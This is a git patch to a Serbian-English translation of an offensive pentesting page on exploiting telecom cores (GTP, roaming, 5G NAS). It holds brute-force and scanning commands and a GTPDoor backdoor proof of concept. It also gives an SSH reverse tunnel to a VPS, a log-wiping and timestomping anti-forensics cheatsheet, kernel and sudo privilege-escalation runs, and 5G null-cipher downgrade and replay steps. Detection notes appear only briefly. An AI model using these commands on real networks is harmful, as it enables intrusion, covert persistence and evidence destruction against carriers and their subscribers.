From 1948d735843e443d63572889a33c4617a06c18f4 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 7 Sep 2025 20:10:20 +0000 Subject: [PATCH] Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw --- .../telecom-network-exploitation.md | 199 ++++++++++++++---- 1 file changed, 153 insertions(+), 46 deletions(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md index 7163ed9d3..ea2adf815 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md +++ b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md @@ -1,27 +1,27 @@ -# Eksploatacija Telekom Mreže (GTP / Roaming Okruženja) +# Eksploatacija telekom mreža (GTP / roaming okruženja) {{#include ../../banners/hacktricks-training.md}} > [!NOTE] -> Protokoli mobilne jezgre (GPRS Tunneling Protocol – GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbone mreže. Pošto se oslanjaju na običan UDP sa gotovo bez autentifikacije, **bilo koja pozicija unutar telekom perimetra obično može direktno da dođe do osnovnih signalisanja**. Sledeće beleške sakupljaju ofanzivne trikove primećene u praksi protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova. +> Protokoli mobilne jezgre (GPRS Tunnelling Protocol – GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbone-ove. Pošto se prenose preko običnog UDP-a sa gotovo nikakvom autentifikacijom, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. Sledeće beleške sakupljaju ofanzivne trikove viđene u prirodi protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova. -## 1. Recon & Početni Pristup +## 1. Recon & Initial Access -### 1.1 Podrazumevani OSS / NE Nalozi -Iznenađujuće veliki set mrežnih elemenata proizvođača dolazi sa hard-kodiranim SSH/Telnet korisnicima kao što su `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Posvećena lista reči dramatično povećava uspeh brute-force napada: +### 1.1 Default OSS / NE Accounts +Iznenađujuće veliki broj vendor mrežnih elemenata isporučuje se sa hard-coded SSH/Telnet korisnicima kao što su `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Posvećen wordlist dramatično povećava brute-force uspeh: ```bash hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt ``` -Ako uređaj izlaže samo upravljački VRF, prvo se prebacite preko jump host-a (vidi odeljak «SGSN Emu Tunnel» ispod). +Ako uređaj izlaže samo management VRF, prvo pivot kroz jump host (pogledajte odeljak «SGSN Emu Tunnel» ispod). -### 1.2 Otkriće hostova unutar GRX/IPX -Većina GRX operatera još uvek dozvoljava **ICMP echo** preko backbone-a. Kombinujte `masscan` sa ugrađenim `gtpv1` UDP probe-ovima da brzo mapirate GTP-C slušaoce: +### 1.2 Otkrivanje hostova unutar GRX/IPX +Većina GRX operatera i dalje dozvoljava **ICMP echo** preko backbone-a. Kombinujte `masscan` sa ugrađenim `gtpv1` UDP sondama kako biste brzo mapirali GTP-C slušače: ```bash masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 ``` -## 2. Enumeracija Pretplatnika – `cordscan` +## 2. Enumerating Subscribers – `cordscan` -Sledeći Go alat kreira **GTP-C Create PDP Context Request** pakete i beleži odgovore. Svaki odgovor otkriva trenutni **SGSN / MME** koji služi upitanoj IMSI i, ponekad, poseteni PLMN pretplatnika. +Sledeći Go alat konstruše **GTP-C Create PDP Context Request** pakete i beleži odgovore. Svaki odgovor otkriva trenutni **SGSN / MME** koji opslužuje upitani IMSI i, ponekad, posećeni PLMN pretplatnika. ```bash # Build GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan @@ -29,20 +29,20 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan # Usage (typical): ./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap ``` -Ključne oznake: -- `--imsi` IMSI ciljanog pretplatnika -- `--oper` Domaći / HNI (MCC+MNC) -- `-w` Zapiši sirove pakete u pcap +Ključne opcije: +- `--imsi` Ciljni pretplatnik IMSI +- `--oper` Home / HNI (MCC+MNC) +- `-w` Snima sirove pakete u pcap -Važne konstante unutar binarnog koda mogu se ispraviti kako bi se proširili skenovi: +Važne konstante unutar binary mogu biti patched da prošire skeniranja: ``` pingtimeout = 3 // seconds before giving up pco = 0x218080 common_tcp_ports = "22,23,80,443,8080" ``` -## 3. Izvršavanje koda preko GTP – `GTPDoor` +## 3. Code Execution over GTP – `GTPDoor` -`GTPDoor` je mali ELF servis koji **vezuje UDP 2123 i analizira svaki dolazni GTP-C paket**. Kada payload počinje sa unapred deljenim tagom, ostatak se dešifruje (AES-128-CBC) i izvršava putem `/bin/sh -c`. stdout/stderr se exfiltriraju unutar **Echo Response** poruka tako da nijedna spoljašnja sesija nikada nije kreirana. +`GTPDoor` je mali ELF servis koji **veže se na UDP 2123 i parsira svaki dolazni GTP-C paket**. Kada payload počinje sa pre-shared tag-om, ostatak se dekriptuje (AES-128-CBC) i izvršava preko `/bin/sh -c`. stdout/stderr su exfiltrated unutar **Echo Response** poruka tako da nikakva izlazna sesija nikada nije kreirana. Minimalni PoC paket (Python): ```python @@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) ``` Detekcija: -* bilo koji host koji šalje **neizbalansirane Echo zahteve** ka SGSN IP-ovima -* GTP verzija oznaka postavljena na 1 dok je tip poruke = 1 (Echo) – odstupanje od specifikacije +* bilo koji host koji šalje **unbalanced Echo Requests** to SGSN IPs +* GTP version flag set to 1 while message type = 1 (Echo) – odstupanje od specifikacije -## 4. Preusmeravanje kroz jezgro +## 4. Pivoting kroz jezgro ### 4.1 `sgsnemu` + SOCKS5 -`OsmoGGSN` isporučuje emulator SGSN-a sposoban da **uspostavi PDP kontekst prema pravom GGSN/PGW**. Kada se pregovara, Linux prima novi `tun0` interfejs dostupan od roaming peer-a. +`OsmoGGSN` dolazi sa SGSN emulatorom sposoban da **establish a PDP context towards a real GGSN/PGW**. Nakon pregovora, Linux dobija novi `tun0` interfejs dostupan from the roaming peer. ```bash sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ -APN internet -c 1 -d ip route add 172.16.0.0/12 dev tun0 microsocks -p 1080 & # internal SOCKS proxy ``` -Sa pravilnim usmeravanjem kroz firewall, ovaj tunel zaobilazi VLAN-ove koji se koriste samo za signalizaciju i direktno vas dovodi u **data plane**. +Uz pravilno firewall hair-pinning, ovaj tunel zaobilazi signalling-only VLAN-ove i dovodi vas direktno u **sloj podataka**. -### 4.2 SSH obrnuti tunel preko porta 53 -DNS je gotovo uvek otvoren u roaming infrastrukturnim mrežama. Izložite internu SSH uslugu vašem VPS-u koja sluša na :53 i vratite se kasnije sa kuće: +### 4.2 SSH Reverse Tunnel preko Port 53 +DNS je skoro uvek otvoren u roaming infrastrukturama. Izložite internu SSH uslugu na svoj VPS koja sluša na :53 i kasnije se vratite iz kuće: ```bash ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com ``` Proverite da li je `GatewayPorts yes` omogućeno na VPS-u. -## 5. Tajni Kanali +## 5. Skriveni kanali | Kanal | Transport | Dekodiranje | Napomene | -|-------|-----------|-------------|----------| -| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-bajtni ključ + 14-bajtni delovi (XOR) | čist pasivni slušalac, bez izlaznog saobraćaja | -| DNS – `NoDepDNS` | UDP 53 | XOR (ključ = `funnyAndHappy`) kodiran u A-zapisu okteta | prati `*.nodep` poddomen | -| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob u privatnom IE | meša se sa legitimnim GTP-C razgovorima | +|---------|-----------|----------|-------| +| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | čisto pasivni listener, bez odlaznog saobraćaja | +| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) kodirano u oktetima A-record zapisa | prati poddomen `*.nodep` | +| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob u privatnom IE | uklapa se sa legitimnim GTP-C saobraćajem | -Svi implanti implementiraju nadzornike koji **timestomp** njihove binarne datoteke i ponovo se pokreću ako se sruše. +Svi implants implementiraju watchdogs koji **timestomp** njihove binarne fajlove i re-spawnuju se ako se sruše. -## 6. Cheatsheet za Izbegavanje Odbrane +## 6. Defense Evasion Cheatsheet ```bash # Remove attacker IPs from wtmp utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp @@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1] touch -r /usr/bin/time /usr/bin/chargen # timestomp setenforce 0 # disable SELinux ``` -## 7. Eskalacija privilegija na nasleđenom NE +## 7. Privilege Escalation na Legacy NE ```bash # DirtyCow – CVE-2016-5195 gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd @@ -111,30 +111,137 @@ python3 PwnKit.py # Sudo Baron Samedit – CVE-2021-3156 python3 exploit_userspec.py ``` -Savjet za čišćenje: +Savet za čišćenje: ```bash userdel firefart 2>/dev/null rm -f /tmp/sh ; history -c ``` -## 8. Alat +## 8. Alati -* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – prilagođeni alati opisani u prethodnim sekcijama. -* `FScan` : intranet TCP skeniranja (`fscan -p 22,80,443 10.0.0.0/24`) -* `Responder` : LLMNR/NBT-NS lažni WPAD -* `Microsocks` + `ProxyChains` : lagano SOCKS5 preusmeravanje -* `FRP` (≥0.37) : NAT prolaz / mostovanje resursa +* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections. +* `FScan` : intranet TCP skeniranje (`fscan -p 22,80,443 10.0.0.0/24`) +* `Responder` : LLMNR/NBT-NS rogue WPAD +* `Microsocks` + `ProxyChains` : lagano SOCKS5 pivotiranje +* `FRP` (≥0.37) : NAT traversal / asset bridging + +## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay + +Procedura 5G registracije se odvija preko NAS (Non-Access Stratum) na vrhu NGAP. Dok se NAS security ne aktivira preko Security Mode Command/Complete, inicijalne poruke nisu autentifikovane i nisu enkriptovane. Ovo pre-security prozor omogućava više putanja napada ako možete da posmatrate ili manipulišete N2 saobraćajem (npr. on-path unutar core-a, rogue gNB, ili testbed). + +Registration flow (pojednostavljeno): +- Registration Request: UE šalje SUCI (šifrovani SUPI) i capability-je. +- Authentication: AMF/AUSF šalju RAND/AUTN; UE vraća RES*. +- Security Mode Command/Complete: NAS integritet i šifrovanje se pregovaraju i aktiviraju. +- PDU Session Establishment: IP/QoS podešavanje. + +Lab setup saveti (non-RF): +- Core: Open5GS default deployment je dovoljan za reprodukciju flow-ova. +- UE: simulator ili test UE; dekodujte pomoću Wireshark. +- Active tooling: 5GReplay (capture/modify/replay NAS unutar NGAP), Sni5Gect (sniff/patch/inject NAS on the fly bez podizanja kompletnog rogue gNB). +- Korisni display filteri u Wireshark: +- ngap.procedure_code == 15 (InitialUEMessage) +- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) + +### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI +Očekivano: UE/USIM mora da šalje SUCI (SUPI enkriptovan javnim ključem home-network-a). Pronalazak plaintext SUPI/IMSI u Registration Request ukazuje na problem privatnosti koji omogućava persistento praćenje pretplatnika. + +Kako testirati: +- Capturujte prvu NAS poruku u InitialUEMessage i pregledajte Mobile Identity IE. +- Wireshark quick checks: +- Trebalo bi da dekoduje kao SUCI, ne kao IMSI. +- Primer filtera: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` bi trebalo da postoji; odsustvo tog polja uz prisustvo `imsi` ukazuje na curenje. + +Šta sakupiti: +- MCC/MNC/MSIN ako su izloženi; logujte po-UE i pratite kroz vreme/lokacije. + +Mitigacija: +- Enforce SUCI-only UEs/USIMs; alert na bilo koji IMSI/SUPI u inicijalnom NAS. + +### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0) +Pozadina: +- UE advertajzuje podržane EEA (encryption) i EIA (integrity) u UE Security Capability IE Registration Request-a. +- Uobičajene mape: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 su null algoritmi. + +Problem: +- Pošto Registration Request nije integrity zaštićen, on-path napadač može da očisti capability bitove da bi primorao kasniji izbor EEA0/EIA0 tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme i izvan emergency servisa. + +Ofanzivni koraci: +- Intercept InitialUEMessage i modifikujte NAS UE Security Capability da advertajzuje samo EEA0/EIA0. +- Sa Sni5Gect, hook-ujte NAS poruku i patch-ujte capability bitove pre prosleđivanja. +- Posmatrajte da li AMF prihvata null cipher/integrity i završava Security Mode sa EEA0/EIA0. + +Verifikacija/vidljivost: +- U Wireshark, potvrdite izabrane algoritme posle Security Mode Command/Complete. +- Primer pasivnog sniffer output-a: +``` +Encyrption in use [EEA0] +Integrity in use [EIA0, EIA1, EIA2] +SUPI (MCC+MNC+MSIN) 9997000000001 +``` +Mitigacije (mora): +- Konfigurišite AMF/policy da odbacuje EEA0/EIA0 osim tamo gde je strogo naloženo (npr. hitni pozivi). +- Preferirajte primenu EEA2/EIA2 kao minimum; zabeležite i podignite alarm za svaki NAS security context koji pregovara null algorithms. + +### 9.3 Ponavljanje (replay) početnog Registration Request-a (pre-security NAS) +Pošto početni NAS nema integritet i svežinu, uhvaćeni InitialUEMessage+Registration Request mogu biti ponovo poslati AMF. + +PoC pravilo za 5GReplay za prosleđivanje podudarnih replay-a: +```xml + + + + + + + + + + + +``` +What to observe: +- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure. + +Mitigations: +- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE. + +### 9.4 Tooling pointers (reproducible) +- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS. +- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration. +- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule. +- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences. + +### 9.5 Defensive checklist +- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs. +- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2. +- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers. +- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage. --- -## Ideje za Detekciju +## Ideje za detekciju 1. **Bilo koji uređaj osim SGSN/GGSN koji uspostavlja Create PDP Context Requests**. -2. **Nestandardni portovi (53, 80, 443) koji primaju SSH rukovanja** sa internih IP adresa. -3. **Česti Echo Zahtevi bez odgovarajućih Echo Odgovora** – mogu ukazivati na GTPDoor signale. -4. **Visoka stopa ICMP echo-reply saobraćaja sa velikim, nenultim identifikatorima/sekvencama**. +2. **Nestandardni portovi (53, 80, 443) koji primaju SSH handshakes** iz internog IP prostora. +3. **Česti Echo Requests bez odgovarajućih Echo Responses** – može ukazivati na GTPDoor beacone. +4. **Visoka stopa ICMP echo-reply saobraćaja sa velikim, nenultim identifier/sequence poljima**. +5. 5G: **InitialUEMessage koji nosi NAS Registration Requests ponovljene sa identičnih endpoint-a** (signal repleja). +6. 5G: **NAS Security Mode koji pregovara EEA0/EIA0** van konteksta hitnih procedura. -## Reference +## References -- [Palo Alto Unit42 – Infiltracija globalnih telekom mreža](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) -- 3GPP TS 29.060 – GPRS Tunneling Protocol (v16.4.0) +- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) +- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0) - 3GPP TS 29.281 – GTPv2-C (v17.6.0) +- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) +- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS +- 3GPP TS 33.501 – Security architecture and procedures for 5G System {{#include ../../banners/hacktricks-training.md}}